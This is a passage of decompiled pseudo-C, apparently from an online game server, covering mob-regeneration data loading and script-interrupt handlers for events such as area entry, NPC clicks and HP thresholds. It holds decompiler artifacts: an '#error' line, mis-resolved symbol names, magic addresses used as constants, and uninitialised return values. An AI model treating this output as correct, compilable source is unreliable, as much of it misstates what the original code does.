*(_DWORD *)(__formal + 4); if ( v9 ) { *((_DWORD *)v2 + 2) = *((_DWORD *)v2 + 1) + 103 * (((signed int)((unsigned __int64)((*(_DWORD *)(__formal + 8) - v9) * (signed __int64)(signed int)&unk_13E22CBD) >> 32) >> 3) + ((unsigned int)((unsigned __int64)((*(_DWORD *)(__formal + 8) - v9) * (signed __int64)(signed int)&unk_13E22CBD) >> 32) >> 31)); result = v2; } else { *((_DWORD *)v2 + 2) = *((_DWORD *)v2 + 1); result = v2; } return result; } if ( v7 ) v10 = ((signed int)((unsigned __int64)((*((_DWORD *)v2 + 3) - (signed int)v7) * (signed __int64)(signed int)&unk_13E22CBD) >> 32) >> 3) + ((unsigned int)((unsigned __int64)((*((_DWORD *)v2 + 3) - (signed int)v7) * (signed __int64)(signed int)&unk_13E22CBD) >> 32) >> 31); else v10 = 0; if ( v5 <= v10 ) { v11 = (MobRegenStruct::RegenMobStruct *)(*(_DWORD *)(__formal + 4) + 103 * std::vector>::size((std::vector > *)v2)); std::_Copy_opt( *(MobRegenStruct::RegenMobStruct **)(__formal + 4), v11, v7, (std::_Nonscalar_ptr_iterator_tag)__formal); *((_DWORD *)v2 + 2) = std::_Uninit_copy>( v11, *(MobRegenStruct::RegenMobStruct **)(__formal + 8), *((MobRegenStruct::RegenMobStruct **)v2 + 2), (std::allocator *)v2, (std::_Nonscalar_ptr_iterator_tag)__formal); return v2; } if ( v7 ) operator delete(*((void **)v2 + 1)); v12 = std::vector>::size((std::vector > *)__formal); if ( std::vector>::_Buy( (std::vector > *)v2, v12) ) *((_DWORD *)v2 + 2) = std::vector>::_Ucopy( (std::allocator *)v2, *(MobRegenStruct::RegenMobStruct **)(__formal + 4), *(MobRegenStruct::RegenMobStruct **)(__formal + 8), *((MobRegenStruct::RegenMobStruct **)v2 + 1)); return v2; } } if ( *((_DWORD *)v2 + 1) ) operator delete(*((void **)v2 + 1)); *((_DWORD *)v2 + 1) = 0; *((_DWORD *)v2 + 2) = 0; *((_DWORD *)v2 + 3) = 0; return v2; } //----- (004CC4F0) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, MobRegenStruct::RegenMobStruct *_Val) { std::vector > *v4; // edi@1 MobRegenStruct::RegenMobStruct *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && ((signed int)((unsigned __int64)((unsigned int)((char *)this->_Mylast - (char *)v5) * (signed __int64)(signed int)&unk_13E22CBD) >> 32) >> 3) + ((unsigned int)((unsigned __int64)((unsigned int)((char *)this->_Mylast - (char *)v5) * (signed __int64)(signed int)&unk_13E22CBD) >> 32) >> 31) ) { v7 = (signed int)((unsigned __int64)((*(_DWORD *)&_Where - (signed int)v5) * (signed __int64)(signed int)&unk_13E22CBD) >> 32) >> 3; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n( this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (004CC560) -------------------------------------------------------- void __thiscall PineScriptMobRegenerator::RegenStruct::RegenStruct(PineScriptMobRegenerator::RegenStruct *this) { *(_QWORD *)&this->rs_group.rgs_groupname.ort_Name[12] = 0i64; *(_QWORD *)&this->rs_group.rgs_groupname.ort_Name[4] = 0i64; *(_DWORD *)&this->rs_group.rgs_groupname.ort_Name[0] = 0; this->rs_datas._Myfirst = 0; this->rs_datas._Mylast = 0; this->rs_datas._Myend = 0; } //----- (004CC580) -------------------------------------------------------- int __thiscall PineScriptMobRegenerator::RegenStruct::operator_(int this, int a2) { int v2; // esi@1 v2 = this; *(_DWORD *)this = *(_DWORD *)a2; *(_DWORD *)(this + 4) = *(_DWORD *)(a2 + 4); *(_DWORD *)(this + 8) = *(_DWORD *)(a2 + 8); *(_DWORD *)(this + 12) = *(_DWORD *)(a2 + 12); *(_DWORD *)(this + 16) = *(_DWORD *)(a2 + 16); *(_BYTE *)(this + 20) = *(_BYTE *)(a2 + 20); *(_DWORD *)(this + 21) = *(_DWORD *)(a2 + 21); *(_DWORD *)(this + 25) = *(_DWORD *)(a2 + 25); *(_DWORD *)(this + 29) = *(_DWORD *)(a2 + 29); *(_DWORD *)(this + 33) = *(_DWORD *)(a2 + 33); *(_DWORD *)(this + 37) = *(_DWORD *)(a2 + 37); std::vector>::operator_( (void *)(this + 44), a2 + 44); return v2; } //----- (004CC5E0) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, MobRegenStruct::RegenMobStruct *_Val) { std::vector > *v2; // esi@1 MobRegenStruct::RegenMobStruct *v3; // edi@1 int v4; // ecx@2 signed int v5; // edx@3 MobRegenStruct::RegenMobStruct *v6; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((unsigned __int64)((unsigned int)((char *)this->_Mylast - (char *)v3) * (signed __int64)(signed int)&unk_13E22CBD) >> 32) >> 3; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < ((signed int)((unsigned __int64)((unsigned int)((char *)v2->_Myend - (char *)v3) * (signed __int64)(signed int)&unk_13E22CBD) >> 32) >> 3) + ((unsigned int)((unsigned __int64)((unsigned int)((char *)v2->_Myend - (char *)v3) * (signed __int64)(signed int)&unk_13E22CBD) >> 32) >> 31) ) { v6 = v2->_Mylast; std::_Uninit_fill_n>( v2->_Mylast, 1u, _Val, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (004CC670) -------------------------------------------------------- void __thiscall PineScriptMobRegenerator::PineScriptMobRegenerator(PineScriptMobRegenerator *this) { PineScriptMobRegenerator *v1; // esi@1 void *v2; // eax@1 int v3; // edi@2 v1 = this; BTree::BTree(&this->psmr_btree); v1->psmr_maxbuffer = 1024; v2 = operator new__(0xF004u); if ( v2 ) { v3 = (int)((char *)v2 + 4); *(_DWORD *)v2 = 1024; _eh_vector_constructor_iterator_( (char *)v2 + 4, 0x3Cu, 1024, (void (__thiscall *)(void *))PineScriptMobRegenerator::RegenStruct::RegenStruct, (void (__thiscall *)(void *))PineScriptMobRegenerator::RegenStruct::_RegenStruct); } else { v3 = 0; } v1->psmr_struct = (PineScriptMobRegenerator::RegenStruct *)v3; v1->psmr_curbuffer = 0; } //----- (004CC700) -------------------------------------------------------- void __thiscall PineScriptMobRegenerator::psmr_Store(PineScriptMobRegenerator *this, MobRegenStruct::RegenMobStruct *data, MobRegenStruct::RegenGroupStruct *rgs, char *index) { PineScriptMobRegenerator *v4; // esi@1 unsigned __int16 v5; // ax@1 unsigned int v6; // ebp@1 int v7; // edi@2 void *v8; // eax@2 int v9; // ebx@3 int v10; // edi@8 void *v11; // eax@10 void *v12; // edi@11 unsigned __int16 v13; // ax@12 PineScriptMobRegenerator::RegenStruct *v14; // ebp@13 int v15; // eax@13 int v16; // eax@13 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "PineScriptMobRegenerator::psmr_Store"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineScriptMobRegenerator::psmr_Store"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = v4->psmr_maxbuffer; v6 = 0; if ( v5 > v4->psmr_curbuffer ) { LABEL_13: std::vector>::push_back( &v4->psmr_struct[v4->psmr_curbuffer].rs_datas, data); v14 = v4->psmr_struct; v15 = v4->psmr_curbuffer; *(_DWORD *)&v4->psmr_struct[v15].rs_group.rgs_groupname.ort_Name[0] = *(_DWORD *)&rgs->rgs_groupname.ort_Name[0]; v16 = (int)&v14[v15]; *(_QWORD *)(v16 + 4) = *(_QWORD *)&rgs->rgs_groupname.ort_Name[4]; *(_QWORD *)(v16 + 12) = *(_QWORD *)&rgs->rgs_groupname.ort_Name[12]; *(_BYTE *)(v16 + 20) = rgs->rgs_family; v16 += 21; *(_DWORD *)v16 = rgs->rgs_regreg.rgs_CenterX; *(_DWORD *)(v16 + 4) = rgs->rgs_regreg.rgs_CenterY; *(_DWORD *)(v16 + 8) = rgs->rgs_regreg.rgs_Width; *(_DWORD *)(v16 + 12) = rgs->rgs_regreg.rgs_Height; *(_DWORD *)(v16 + 16) = rgs->rgs_regreg.rgs_Rotate; BTree::bt_Insert(&v4->psmr_btree, index, v4->psmr_curbuffer++); goto LABEL_14; } v7 = 2 * v5; v8 = operator new__(120 * v5 + 4); if ( v8 ) { v9 = (int)((char *)v8 + 4); *(_DWORD *)v8 = v7; _eh_vector_constructor_iterator_( (char *)v8 + 4, 0x3Cu, v7, (void (__thiscall *)(void *))PineScriptMobRegenerator::RegenStruct::RegenStruct, (void (__thiscall *)(void *))PineScriptMobRegenerator::RegenStruct::_RegenStruct); } else { v9 = 0; } if ( v9 != 0 ) { if ( v4->psmr_maxbuffer ) { v10 = 0; do { PineScriptMobRegenerator::RegenStruct::operator_(v10 * 60 + v9, (int)&v4->psmr_struct[v10]); ++v6; ++v10; } while ( v6 < v4->psmr_maxbuffer ); } v11 = v4->psmr_struct; if ( v4->psmr_struct ) { v12 = (char *)v11 - 4; _eh_vector_destructor_iterator_( v11, 0x3Cu, *((_DWORD *)v11 - 1), (void (__thiscall *)(void *))PineScriptMobRegenerator::RegenStruct::_RegenStruct); operator delete__(v12); } v13 = 2 * v4->psmr_maxbuffer; v4->psmr_struct = (PineScriptMobRegenerator::RegenStruct *)v9; v4->psmr_maxbuffer = v13; goto LABEL_13; } AssertClass::ac_AssertFail(&shineassert, "PineScriptMobRegenerator::psmr_Store : Memory overflow", v4->psmr_maxbuffer); LABEL_14: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PineScriptMobRegenerator::psmr_Store"); } //----- (004CC8E0) -------------------------------------------------------- char __thiscall PineScriptMobRegenerator::psmr_Load(PineScriptMobRegenerator *this, const char *map) { PineScriptMobRegenerator *v2; // ebp@1 OptionReader *v3; // ebx@1 void *v4; // edi@4 char *v5; // eax@5 char *v6; // eax@5 unsigned int v7; // eax@5 void *v8; // eax@7 char result; // al@11 ORToken v10; // [sp-20h] [bp-150h]@7 int v11; // [sp-1Ch] [bp-14Ch]@7 ORToken v12; // [sp-18h] [bp-148h]@4 int v13; // [sp-14h] [bp-144h]@4 int v14; // [sp-10h] [bp-140h]@4 char *v15; // [sp-Ch] [bp-13Ch]@4 char *v16; // [sp-8h] [bp-138h]@4 int v17; // [sp-4h] [bp-134h]@4 int i; // [sp+10h] [bp-120h]@1 const char *v19; // [sp+14h] [bp-11Ch]@1 ORToken *v20; // [sp+18h] [bp-118h]@4 FunctionEntarance _; // [sp+1Ch] [bp-114h]@1 char buf[128]; // [sp+20h] [bp-110h]@5 char buffer[128]; // [sp+A0h] [bp-90h]@5 unsigned int v24; // [sp+120h] [bp-10h]@1 int v25; // [sp+12Ch] [bp-4h]@1 v2 = this; v24 = (unsigned int)&i ^ __security_cookie; v19 = map; _.fe_FunctionCode = "PineScriptMobRegenerator::psmr_Load"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "PineScriptMobRegenerator::psmr_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineScriptMobRegenerator::psmr_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v25 = 0; v3 = KQRegenTable::operator__(&kqregentable, map); if ( v3 ) { i = 0; while ( 1 ) { v17 = i; v20 = &v12; v16 = 0; v15 = 0; v14 = 0; v13 = 0; *(_DWORD *)&v12.ort_Name[0] = 0; strncpy(v12.ort_Name, "MobRegen", 0x14u); v4 = OptionReader::or_SelectFromOrder(v3, v12, v17); if ( !v4 ) break; v5 = ORToken::ort_GetString((ORToken *)v4, buf); v6 = PineScriptMobRegenerator::psmr_makeindex(v2, buffer, v19, v5); v7 = BTree::operator__(&v2->psmr_btree, v6); if ( v7 == -1 ) { v17 = 0; v16 = buf; v15 = "GroupIndex"; v20 = &v10; v14 = 0; v13 = 0; *(_DWORD *)&v12.ort_Name[0] = 0; v11 = 0; *(_DWORD *)&v10.ort_Name[0] = 0; strncpy(v10.ort_Name, "MobRegenGroup", 0x14u); v8 = OptionReader::or_SelectFrom(v3, v10, v15, v16, v17); if ( v8 != 0 ) { PineScriptMobRegenerator::psmr_Store( v2, (MobRegenStruct::RegenMobStruct *)v4, (MobRegenStruct::RegenGroupStruct *)v8, buffer); ++i; } else { AssertClass::ac_AssertFail(&shineassert, "PineScriptMobRegenerator::psmr_Load : Group name not found", buf); ++i; } } else { std::vector>::push_back( &v2->psmr_struct[v7].rs_datas, (MobRegenStruct::RegenMobStruct *)v4); ++i; } } --funcallanalizer.fca_stackpoint; v25 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PineScriptMobRegenerator::psmr_Load"); } else { --funcallanalizer.fca_stackpoint; v25 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PineScriptMobRegenerator::psmr_Load"); } __security_check_cookie((unsigned int)&i ^ v24); return result; } //----- (004CCAE0) -------------------------------------------------------- PineScriptMobRegenerator::RegenStruct *__thiscall PineScriptMobRegenerator::psmr_find(PineScriptMobRegenerator *this, const char *map, const char *index) { PineScriptMobRegenerator *v3; // esi@1 char *v4; // eax@1 unsigned int v5; // eax@1 char *v6; // eax@4 unsigned int v7; // eax@4 PineScriptMobRegenerator::RegenStruct *result; // eax@8 FunctionEntarance _; // [sp+10h] [bp-94h]@1 char buffer[128]; // [sp+14h] [bp-90h]@1 unsigned int v11; // [sp+94h] [bp-10h]@1 int v12; // [sp+A0h] [bp-4h]@1 v3 = this; v11 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "PineScriptMobRegenerator::psmr_find"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "PineScriptMobRegenerator::psmr_find"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineScriptMobRegenerator::psmr_find"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v12 = 0; v4 = PineScriptMobRegenerator::psmr_makeindex(v3, buffer, map, index); v5 = BTree::operator__(&v3->psmr_btree, v4); if ( v5 == -1 || v5 >= v3->psmr_curbuffer ) PineScriptMobRegenerator::psmr_Load(v3, map); v6 = PineScriptMobRegenerator::psmr_makeindex(v3, buffer, map, index); v7 = BTree::operator__(&v3->psmr_btree, v6); if ( v7 == -1 || v7 >= v3->psmr_curbuffer ) { v12 = -1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PineScriptMobRegenerator::psmr_find"); } else { v12 = -1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PineScriptMobRegenerator::psmr_find"); } __security_check_cookie((unsigned int)&_ ^ v11); return result; } //----- (004CCC30) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_InterruptSet_SecondInterval(ScriptInterrupt::ScriptInterruptManager *this, Name4 *intindex, int interval, PineScriptToken *eventblock, int num, char flag) { ScriptInterrupt::ScriptInterruptArgument *v6; // esi@1 unsigned int v7; // eax@3 v6 = ScriptInterrupt::ScriptInterruptManager::sim_Alloc(this, intindex, &si_Interval, eventblock, num); if ( v6 ) { switch ( flag ) { case 109: v7 = ((signed int)((unsigned __int64)(10 * interval * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(10 * interval * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31); goto LABEL_7; case 83: *(_DWORD *)&v6->sib_Argument.area.areaname[0] = 10 * interval; break; case 77: *(_DWORD *)&v6->sib_Argument.area.areaname[0] = 600 * interval; break; case 72: v7 = 36000 * interval; LABEL_7: *(_DWORD *)&v6->sib_Argument.area.areaname[0] = v7; break; default: break; } *(_DWORD *)&v6->sib_Argument.area.areaname[4] = clockwatch.cw_CurrTick + *(_DWORD *)&v6->sib_Argument.area.areaname[0]; } } //----- (004CCD10) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_InterruptSet_ObjectDeadIndex(ScriptInterrupt::ScriptInterruptManager *this, Name4 *intindex, char *mobindex, PineScriptToken *eventblock, int num) { ScriptInterrupt::ScriptInterruptArgument *v5; // edi@1 char nm[4]; // [sp+8h] [bp-40h]@2 int v7; // [sp+Ch] [bp-3Ch]@2 int v8; // [sp+10h] [bp-38h]@2 int v9; // [sp+14h] [bp-34h]@2 int v10; // [sp+18h] [bp-30h]@2 int v11; // [sp+1Ch] [bp-2Ch]@2 int v12; // [sp+20h] [bp-28h]@2 int v13; // [sp+24h] [bp-24h]@2 char thisa[4]; // [sp+28h] [bp-20h]@2 int v15; // [sp+2Ch] [bp-1Ch]@2 int v16; // [sp+30h] [bp-18h]@2 int v17; // [sp+34h] [bp-14h]@2 int v18; // [sp+38h] [bp-10h]@2 int v19; // [sp+3Ch] [bp-Ch]@2 int v20; // [sp+40h] [bp-8h]@2 int v21; // [sp+44h] [bp-4h]@2 v5 = ScriptInterrupt::ScriptInterruptManager::sim_Alloc(this, intindex, &si_ObjectDeadIndex, eventblock, num); if ( v5 ) { v13 = 0; v12 = 0; v11 = 0; v10 = 0; v9 = 0; v8 = 0; v7 = 0; *(_DWORD *)nm = 0; strncpy(nm, mobindex, 0x20u); v21 = 0; v20 = 0; v19 = 0; v18 = 0; v17 = 0; v16 = 0; v15 = 0; *(_DWORD *)thisa = 0; strncpy(thisa, "_NONE_", 0x20u); if ( Name8::operator__((Name8 *)thisa, (Name8 *)nm) ) { *(_DWORD *)&v5->sib_Argument.area.areaname[28] = 0; *(_DWORD *)&v5->sib_Argument.area.areaname[24] = 0; *(_DWORD *)&v5->sib_Argument.area.areaname[20] = 0; *(_DWORD *)&v5->sib_Argument.area.areaname[16] = 0; *(_DWORD *)&v5->sib_Argument.area.areaname[12] = 0; *(_DWORD *)&v5->sib_Argument.area.areaname[8] = 0; *(_DWORD *)&v5->sib_Argument.area.areaname[4] = 0; *(_DWORD *)&v5->sib_Argument.area.areaname[0] = 0; strncpy(v5->sib_Argument.area.areaname, mobindex, 0x20u); v5->sib_Argument.area.player = 0; } else { v5->sib_Argument.area.player = -1; } } } //----- (004CCE00) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_InterruptSet_Admin(ScriptInterrupt::ScriptInterruptManager *this, Name4 *intindex) { ScriptInterrupt::ScriptInterruptManager *v2; // esi@1 PineScriptToken eventblock; // [sp+8h] [bp-110h]@1 unsigned int v4; // [sp+108h] [bp-10h]@1 int v5; // [sp+114h] [bp-4h]@1 v2 = this; v4 = (unsigned int)&eventblock ^ __security_cookie; PineScriptToken::pst_Clear(&eventblock); v5 = 0; ScriptInterrupt::ScriptInterruptManager::sim_Alloc( v2, intindex, &si_Admin, &eventblock, (int)&wholesaver.ws_savestore[9].esc_abstate.buffer[30551]); v5 = -1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&eventblock); __security_check_cookie((unsigned int)&eventblock ^ v4); } //----- (004CCEA0) -------------------------------------------------------- #error "4CCEA0: undefined or illegal type '#593' (funcsize=13)" //----- (004CCED0) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptAreaEntry(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num) { Movie::Theater *v4; // esi@1 const char *v5; // eax@1 const char *v6; // ebx@1 ScriptInterrupt::ScriptInterruptArgument *v7; // eax@1 v4 = this; MoveManager::MoveManager((DiceTaiSai *)exp); v6 = v5; v7 = ScriptInterrupt::ScriptInterruptManager::sim_Alloc(&v4->t_InterruptManager, index, &si_AreaEntry, exp + 1, num); if ( v7 ) { *(_DWORD *)&v7->sib_Argument.area.areaname[28] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[24] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[20] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[16] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[12] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[8] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[4] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[0] = 0; strncpy(v7->sib_Argument.area.areaname, v6, 0x20u); } } //----- (004CCF40) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptAreaLeave(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num) { Movie::Theater *v4; // esi@1 const char *v5; // eax@1 const char *v6; // ebx@1 ScriptInterrupt::ScriptInterruptArgument *v7; // eax@1 v4 = this; MoveManager::MoveManager((DiceTaiSai *)exp); v6 = v5; v7 = ScriptInterrupt::ScriptInterruptManager::sim_Alloc(&v4->t_InterruptManager, index, &si_AreaLeave, exp + 1, num); if ( v7 ) { *(_DWORD *)&v7->sib_Argument.area.areaname[28] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[24] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[20] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[16] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[12] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[8] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[4] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[0] = 0; strncpy(v7->sib_Argument.area.areaname, v6, 0x20u); } } //----- (004CCFB0) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptNPCClickHandle(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num) { Movie::Theater *v4; // esi@1 __int16 v5; // bx@1 ScriptInterrupt::ScriptInterruptArgument *v6; // eax@1 v4 = this; v5 = PineScriptToken::pst_GetNumber(exp, 0); v6 = ScriptInterrupt::ScriptInterruptManager::sim_Alloc( &v4->t_InterruptManager, index, &si_NPCClickHandle, exp + 1, num); if ( v6 ) *(_WORD *)&v6->sib_Argument.area.areaname[0] = v5; } //----- (004CD000) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptNPCClickIndex(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num) { Movie::Theater *v4; // esi@1 const char *v5; // eax@1 const char *v6; // ebx@1 ScriptInterrupt::ScriptInterruptArgument *v7; // eax@1 v4 = this; MoveManager::MoveManager((DiceTaiSai *)exp); v6 = v5; v7 = ScriptInterrupt::ScriptInterruptManager::sim_Alloc( &v4->t_InterruptManager, index, &si_NPCClickIndex, exp + 1, num); if ( v7 ) { *(_DWORD *)&v7->sib_Argument.area.areaname[28] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[24] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[20] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[16] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[12] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[8] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[4] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[0] = 0; strncpy(v7->sib_Argument.area.areaname, v6, 0x20u); } } //----- (004CD070) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptNPCClickAny(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num) { ScriptInterrupt::ScriptInterruptManager::sim_Alloc(&this->t_InterruptManager, index, &si_NPCClickAny, exp, num); } //----- (004CD0A0) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptTimeInterval(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num, char flag) { Movie::Theater *v5; // esi@1 int v6; // eax@1 v5 = this; v6 = PineScriptToken::pst_GetNumber(exp, 0); ScriptInterrupt::ScriptInterruptManager::sim_InterruptSet_SecondInterval( &v5->t_InterruptManager, index, v6, exp + 1, num, flag); } //----- (004CD0E0) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptHPLow(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num) { Movie::Theater *v4; // edi@1 int v5; // ebx@1 __int16 v6; // bp@1 ScriptInterrupt::ScriptInterruptArgument *v7; // eax@1 v4 = this; v5 = PineScriptToken::pst_GetNumber(exp + 1, 0); v6 = PineScriptToken::pst_GetNumber(exp, 0); v7 = ScriptInterrupt::ScriptInterruptManager::sim_Alloc(&v4->t_InterruptManager, index, &si_HPLow, exp + 2, num); if ( v7 ) { *(_WORD *)&v7->sib_Argument.area.areaname[0] = v6; *(_DWORD *)&v7->sib_Argument.area.areaname[4] = v5; *(_DWORD *)&v7->sib_Argument.area.areaname[8] = 0; } } //----- (004CD150) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptMobEliminate(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num) { ScriptInterrupt::ScriptInterruptManager::sim_Alloc(&this->t_InterruptManager, index, &si_MobEliminate, exp, num); } //----- (004CD180) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptPlayerEliminate(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num) { ScriptInterrupt::ScriptInterruptManager::sim_Alloc(&this->t_InterruptManager, index, &si_PlayerEliminate, exp, num); } //----- (004CD1B0) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptGuildEliminate(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num) { ScriptInterrupt::ScriptInterruptArgument *v4; // esi@1 v4 = ScriptInterrupt::ScriptInterruptManager::sim_Alloc( &this->t_InterruptManager, index, &si_GuildEliminate, exp + 1, num); if ( v4 ) { *(_DWORD *)&v4->sib_Argument.area.areaname[0] = PineScriptToken::pst_GetNumber(exp, 0); *(_DWORD *)&v4->sib_Argument.area.areaname[4] = PineScriptToken::pst_GetNumber(exp + 2, 0); *(_DWORD *)&v4->sib_Argument.area.areaname[8] = 0; } } //----- (004CD210) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptTimeOut(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num) { ScriptInterrupt::ScriptInterruptManager::sim_Alloc(&this->t_InterruptManager, index, &si_TimeOut, exp, num); } //----- (004CD240) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptDeadHandle(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num) { Movie::Theater *v4; // esi@1 __int16 v5; // bx@1 ScriptInterrupt::ScriptInterruptArgument *v6; // eax@1 v4 = this; v5 = PineScriptToken::pst_GetNumber(exp, 0); v6 = ScriptInterrupt::ScriptInterruptManager::sim_Alloc( &v4->t_InterruptManager, index, &si_ObjectDeadHandle, exp + 1, num); if ( v6 ) *(_WORD *)&v6->sib_Argument.area.areaname[0] = v5; } //----- (004CD290) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptDeadIndex(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num) { Movie::Theater *v4; // esi@1 char *v5; // eax@1 v4 = this; MoveManager::MoveManager((DiceTaiSai *)exp); ScriptInterrupt::ScriptInterruptManager::sim_InterruptSet_ObjectDeadIndex( &v4->t_InterruptManager, index, v5, exp + 1, num); } //----- (004CD2C0) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptKillEnemy(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num) { Movie::Theater *v4; // esi@1 __int16 v5; // bx@1 ScriptInterrupt::ScriptInterruptArgument *v6; // eax@1 v4 = this; v5 = PineScriptToken::pst_GetNumber(exp, 0); v6 = ScriptInterrupt::ScriptInterruptManager::sim_Alloc(&v4->t_InterruptManager, index, &si_KillEnemy, exp + 1, num); if ( v6 ) *(_WORD *)&v6->sib_Argument.area.areaname[0] = v5; } //----- (004CD310) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptTargetChange(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num) { Movie::Theater *v4; // esi@1 __int16 v5; // bx@1 ScriptInterrupt::ScriptInterruptArgument *v6; // eax@1 v4 = this; v5 = PineScriptToken::pst_GetNumber(exp, 0); v6 = ScriptInterrupt::ScriptInterruptManager::sim_Alloc( &v4->t_InterruptManager, index, &si_TargetChange, exp + 1, num); if ( v6 ) *(_WORD *)&v6->sib_Argument.area.areaname[0] = v5; } //----- (004CD360) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptPlayerDead(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num) { ScriptInterrupt::ScriptInterruptManager::sim_Alloc(&this->t_InterruptManager, index, &si_PlayerDead, exp, num); } //----- (004CD390) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptHPFull(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num) { Movie::Theater *v4; // esi@1 __int16 v5; // bx@1 ScriptInterrupt::ScriptInterruptArgument *v6; // eax@1 v4 = this; v5 = PineScriptToken::pst_GetNumber(exp, 0); v6 = ScriptInterrupt::ScriptInterruptManager::sim_Alloc(&v4->t_InterruptManager, index, &si_HPFull, exp + 1, num); if ( v6 ) *(_WORD *)&v6->sib_Argument.area.areaname[0] = v5; } //----- (004CD3E0) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptPickUpItemIndex(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num) { Movie::Theater *v4; // esi@1 const char *v5; // eax@1 unsigned int v6; // eax@1 signed __int16 v7; // bx@1 